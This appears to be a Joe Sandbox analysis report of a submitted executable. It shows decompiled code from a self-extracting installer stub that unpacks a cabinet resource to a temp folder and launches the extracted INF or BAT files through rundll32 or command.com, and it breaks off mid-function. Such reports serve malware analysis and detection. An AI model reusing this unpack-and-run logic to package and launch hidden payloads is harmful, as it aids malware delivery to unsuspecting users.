advpack.dll, xrefs: 011D3F9D
SHOWWINDOW, xrefs: 011D3C34
lenta, xrefs: 011D3E68
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D3E74
D, xrefs: 011D3C19

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$lenta
API String ID: 1032054927-778137101
Opcode ID: 9230d9b1a49aa0ef721702c440a93c90dc536577e873a8cde1d2f0407d8a0681
Instruction ID: fd48b626a44dbe0f5721d3cbcdf0e0b9a149b0f2d4c61d42f1497bc329e0ff81
Opcode Fuzzy Hash: 9230d9b1a49aa0ef721702c440a93c90dc536577e873a8cde1d2f0407d8a0681
Instruction Fuzzy Hash: C1B1D1B162A3159BE73CDF689844B6B7BE4FB84714F100A2DFAB5D6180D7748884CB93

Uniqueness

Uniqueness Score: -1.00%

Function 011D1AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E011D1AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E011D1680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E011D1A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E011D1781( &_v268, 0x104, _t111, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
					E011D658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E011D1680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E011D66C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E011D66C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E011D1680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E011D1781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E011D16B3( &_v1552, 0x400, " ");
										E011D16B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E011D2AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E011D171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E011D1A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E011D1A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E011D44B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0x11d9120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0x11d1140, _t156, 8,  &_v268) == 0) {
										 *0x11d9a34 =  *0x11d9a34 & 0xfffffffb;
										if( *0x11d9a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E011D171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0x11d9a34 =  *0x11d9a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E011D1680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E011D1680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E011D6CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x011d1af3
0x011d1afa
0x011d1b07
0x011d1b09
0x011d1b1a
0x011d1b20
0x011d1b2c
0x011d1b3b
0x011d1b40
0x011d1b2e
0x011d1b2e
0x011d1b33
0x011d1b33
0x011d1b46
0x011d1b4c
0x011d1b52
0x011d1b57
0x011d1b5d
0x011d1b61
0x011d1b9f
0x011d1b9f
0x011d1bb1
0x011d1bc2
0x00000000
0x011d1b63
0x011d1b63
0x011d1b65
0x011d1b68
0x011d1b68
0x011d1b6a
0x011d1b6b
0x011d1b6f
0x011d1b74
0x00000000
0x00000000
0x011d1b76
0x011d1b7b
0x011d1b86
0x00000000
0x00000000
0x00000000
0x00000000
0x011d1b8c
0x011d1b8c
0x011d1b98
0x011d1bc7
0x011d1bc9
0x011d1bcc
0x011d1bd3
0x011d1d75
0x011d1d76
0x011d1d78
0x011d1d7f
0x011d1e05
0x011d1e09
0x00000000
0x00000000
0x011d1e12
0x011d1e1b
0x011d1e73
0x011d1e21
0x011d1e21
0x011d1e28
0x011d1e37
0x011d1e3e
0x011d1e52
0x011d1e60
0x011d1e60
0x011d1e3e
0x011d1e79
0x011d1e7b
0x011d1e84
0x00000000
0x011d1d9b
0x011d1d9b
0x011d1da0
0x011d1da2
0x011d1da5
0x011d1da5
0x011d1da7
0x011d1da8
0x011d1dac
0x011d1dae
0x011d1db4
0x011d1db7
0x011d1db7
0x011d1db9
0x011d1dba
0x011d1dbe
0x011d1dc3
0x011d1dce
0x011d1dd2
0x011d1deb
0x00000000
0x011d1df0
0x00000000
0x011d1dd2
0x011d1bf7
0x011d1bfe
0x011d1c07
0x011d1d55
0x011d1d5a
0x011d1d5b
0x011d1d5d
0x011d1d5e
0x00000000
0x011d1c1b
0x011d1c1b
0x011d1c20
0x011d1c2c
0x011d1c33
0x011d1c38
0x011d1c3a
0x011d1c3a
0x011d1c40
0x011d1c4b
0x011d1c4b
0x011d1c5d
0x011d1c61
0x011d1dd4
0x011d1dd4
0x011d1dd6
0x011d1ddb
0x011d1ddc
0x011d1dde
0x011d1d64
0x011d1d64
0x011d1d67
0x011d1d6c
0x00000000
0x011d1c67
0x011d1c67
0x011d1c6d
0x011d1c72
0x011d1c74
0x011d1c74
0x011d1c8e
0x011d1c99
0x011d1cc0
0x011d1cf8
0x011d1d07
0x011d1d23
0x011d1d09
0x011d1d14
0x011d1d1b
0x011d1d1b
0x011d1d2b
0x011d1d2d
0x011d1d2d
0x011d1d38
0x011d1d39
0x011d1d46
0x011d1cc2
0x011d1cc2
0x011d1ccc
0x011d1cce
0x011d1cce
0x011d1cdb
0x011d1ce6
0x011d1cee
0x011d1cee
0x011d1e89
0x011d1e91
0x011d1e92
0x011d1e94
0x011d1e97
0x011d1ea4
0x011d1ea4
0x011d1c61
0x011d1c07
0x011d1bd3
0x011d1b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 011D1BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 011D1BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 011D1C57
GetPrivateProfileIntA.KERNEL32 ref: 011D1C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,011D1140,00000000,00000008,?), ref: 011D1CB8
GetShortPathNameA.KERNEL32 ref: 011D1D1B

Part of subcall function 011D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
Part of subcall function 011D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554

Strings

Version, xrefs: 011D1CB3
AdvancedINF, xrefs: 011D1CAE
.INF, xrefs: 011D1BDB
DefaultInstall, xrefs: 011D1C74, 011D1C87, 011D1CCE, 011D1CD3, 011D1D2D, 011D1D39
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 011D1D3B
Reboot, xrefs: 011D1C82
setupx.dll, xrefs: 011D1D14
setupapi.dll, xrefs: 011D1D23, 011D1D3A
Command.com /c %s, xrefs: 011D1D9B, 011D1DE8
", xrefs: 011D1B25
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D1BA0
.BAT, xrefs: 011D1D83

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3368923722
Opcode ID: 26175ca9ee12eaa4888b169dfb6426597a471f6cf36367bfb9033925e3a116f4
Instruction ID: 746587fc5310d05d3a81003d002939be4b49b45355cca8176c75d9e66d9b2cfc
Opcode Fuzzy Hash: 26175ca9ee12eaa4888b169dfb6426597a471f6cf36367bfb9033925e3a116f4
Instruction Fuzzy Hash: 90A146B0A002197BEF2DDB38CC44FEA7B69AF51314F144298E955A32C1DBB49EC5CB50

Uniqueness

Uniqueness Score: -1.00%

Function 011D597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E011D597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0x11d9124 = E011D6285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E011D44B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0x11d9a34 & 0x00000008;
							if(( *0x11d9a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0x11d9a38; // 0x0
								_t110 =  *((intOrPtr*)(0x11d89e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0x11d9124 = 0;
									_t66 = 1;
								} else {
									_t66 = E011D268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0x11d9a38; // 0x0
							_t110 =  *((intOrPtr*)(0x11d89e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0x11d89e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0x11d9a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E011D44B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0x11d9124 = E011D6285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E011D44B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0x11d9124 = E011D6285();
					_t66 = 0;
					L33:
					return E011D6CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x011d597d
0x011d5988
0x011d598f
0x011d599a
0x011d59a6
0x011d59a8
0x011d59af
0x011d59b9
0x011d59dd
0x011d59e4
0x011d59f1
0x011d59fe
0x011d5a0b
0x011d5a13
0x011d5a19
0x011d5a1b
0x011d5ba1
0x011d5baf
0x011d5bbd
0x011d5bd8
0x011d5bde
0x011d5be3
0x011d5bec
0x011d5bf0
0x011d5bfc
0x011d5c02
0x011d5c02
0x011d5c02
0x011d5c04
0x011d5c04
0x00000000
0x011d5c04
0x011d5a27
0x011d5a3a
0x011d5a46
0x011d5a48
0x011d5a4a
0x00000000
0x00000000
0x011d5a64
0x011d5a6a
0x011d5a6c
0x011d5abc
0x011d5ac2
0x011d5ac9
0x011d5aca
0x011d5aca
0x011d5acc
0x011d5acc
0x011d5acf
0x011d5ad1
0x00000000
0x00000000
0x011d5ad3
0x011d5ad6
0x011d5ad8
0x00000000
0x00000000
0x011d5ada
0x011d5adc
0x011d5add
0x011d5add
0x011d5ae0
0x00000000
0x00000000
0x00000000
0x011d5ae0
0x011d5ae2
0x011d5ae4
0x011d5ae6
0x011d5ae6
0x011d5ae6
0x011d5ae9
0x011d5aeb
0x011d5af0
0x011d5af6
0x011d5af8
0x011d5af9
0x011d5af9
0x011d5afb
0x00000000
0x00000000
0x011d5afd
0x011d5aff
0x011d5b00
0x011d5b03
0x00000000
0x00000000
0x00000000
0x011d5b03
0x011d5b05
0x011d5b08
0x011d5b20
0x011d5b27
0x011d5b52
0x011d5b52
0x011d5b5b
0x011d5b62
0x011d5b6b
0x011d5b6d
0x011d5b76
0x011d5b7d
0x011d5b83
0x011d5b7f
0x011d5b7f
0x011d5b7f
0x011d5b6f
0x011d5b72
0x011d5b72
0x011d5b85
0x011d5b98
0x011d5b9e
0x011d5b87
0x011d5b8f
0x011d5b8f
0x00000000
0x011d5b85
0x011d5b29
0x011d5b33
0x00000000
0x00000000
0x011d5b35
0x011d5b48
0x011d5b4a
0x00000000
0x011d5b4a
0x011d5b0f
0x011d5b16
0x00000000
0x011d5b16
0x011d5a7c
0x011d5a8a
0x011d5aa5
0x011d5aab
0x00000000
0x011d59bb
0x011d59c0
0x011d59c7
0x011d59d1
0x011d59d6
0x011d5c05
0x011d5c14
0x011d5c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 011D59A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 011D59AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 011D5A13
MulDiv.KERNEL32(?,?,00000400), ref: 011D5A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 011D5A64
memset.MSVCRT ref: 011D5A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 011D5A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 011D5AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 011D5BFC

Part of subcall function 011D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
Part of subcall function 011D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554

Part of subcall function 011D6285: GetLastError.KERNEL32(011D5BBC), ref: 011D6285

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 0458179211a8d20c6f617775f923ac8fbdcdcefd7b681b29299b69aef0795783
Instruction ID: 9d7e44c4ee8a8cd27401c8198188bd1cf46459e185bf46f8341c905be9978613
Opcode Fuzzy Hash: 0458179211a8d20c6f617775f923ac8fbdcdcefd7b681b29299b69aef0795783
Instruction Fuzzy Hash: C371A1B190221CAFEB6EDB64DC84BFB77BEEB48344F0440A9E51596144EB349E84CF21

Uniqueness

Uniqueness Score: -1.00%

Function 011D4FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E011D4FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0x11d9144 = E011D468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0x11d9140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0x11d8584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0x11d8584, 0x841), 5);
				}
				_t10 = E011D4EFD(0, 0);
				if(_t10 != 0) {
					__imp__#20(E011D4CA0, E011D4CC0, E011D4980, E011D4A50, E011D4AD0, E011D4B60, E011D4BC0, 1, 0x11d9148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0x11d9148; // 0x0
						_t24 =  *0x11d8584; // 0x0
						E011D44B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0x11d1140, 0, E011D4CD0, 0, 0x11d9140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0x11d8584; // 0x0
					E011D44B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0x11d9140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0x11d9140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0x11d91d8; // 0x0
						if(_t47 == 0) {
							E011D44B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0x11d8a38 & 0x00000001) == 0 && ( *0x11d9a34 & 0x00000001) == 0) {
						SendMessageA( *0x11d8584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x011d4fe0
0x011d4fe6
0x011d4ff9
0x011d500d
0x011d5013
0x011d501a
0x011d5163
0x011d5163
0x011d5020
0x011d5027
0x011d5037
0x011d5051
0x011d5051
0x011d5057
0x011d505e
0x011d50a7
0x011d50ad
0x011d50b4
0x011d50e8
0x011d50e8
0x011d50ee
0x011d50ff
0x011d5104
0x011d5106
0x00000000
0x011d5106
0x011d50cd
0x011d50d3
0x011d50da
0x00000000
0x00000000
0x011d50dd
0x011d50e6
0x00000000
0x00000000
0x00000000
0x011d5060
0x011d5060
0x011d5070
0x011d5075
0x011d5107
0x011d5107
0x011d510e
0x011d5111
0x011d5117
0x011d5117
0x011d511f
0x011d5121
0x011d5127
0x011d5135
0x011d5135
0x011d5127
0x011d5141
0x011d5159
0x011d5159
0x00000000
0x011d515f

APIs

Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46A0
Part of subcall function 011D468F: SizeofResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46A9
Part of subcall function 011D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011D46C3
Part of subcall function 011D468F: LoadResource.KERNEL32(00000000,00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46CC
Part of subcall function 011D468F: LockResource.KERNEL32(00000000,?,011D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46D3
Part of subcall function 011D468F: memcpy_s.MSVCRT ref: 011D46E5
Part of subcall function 011D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011D46EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 011D4FFE
LoadResource.KERNEL32(00000000,00000000), ref: 011D5006
LockResource.KERNEL32(00000000), ref: 011D500D
GetDlgItem.USER32(00000000,00000842), ref: 011D5030
ShowWindow.USER32(00000000), ref: 011D5037
GetDlgItem.USER32(00000841,00000005), ref: 011D504A
ShowWindow.USER32(00000000), ref: 011D5051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 011D5111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 011D5159

Strings

CABINET, xrefs: 011D4FE6, 011D4FF7
*MEMCAB, xrefs: 011D50C7

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 549d8e3f952dad4b6482ea3232d8e5cf47a3a31f0894fc2e68441a4b894e1429
Instruction ID: 62d888948c51a014d98bd50cc732e4cb10f401e017dc2ae3bfd80c84f4a43943
Opcode Fuzzy Hash: 549d8e3f952dad4b6482ea3232d8e5cf47a3a31f0894fc2e68441a4b894e1429
Instruction Fuzzy Hash: 7531DA717433157BE73C5A76FD89F673B6DAB08759F040038F911A2949D7B89C808754

Uniqueness

Uniqueness Score: -1.00%

Function 011D2F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E011D2F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t9 ^ _t46;
				if( *0x11d8a38 != 0) {
					L5:
					_t11 = E011D5164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
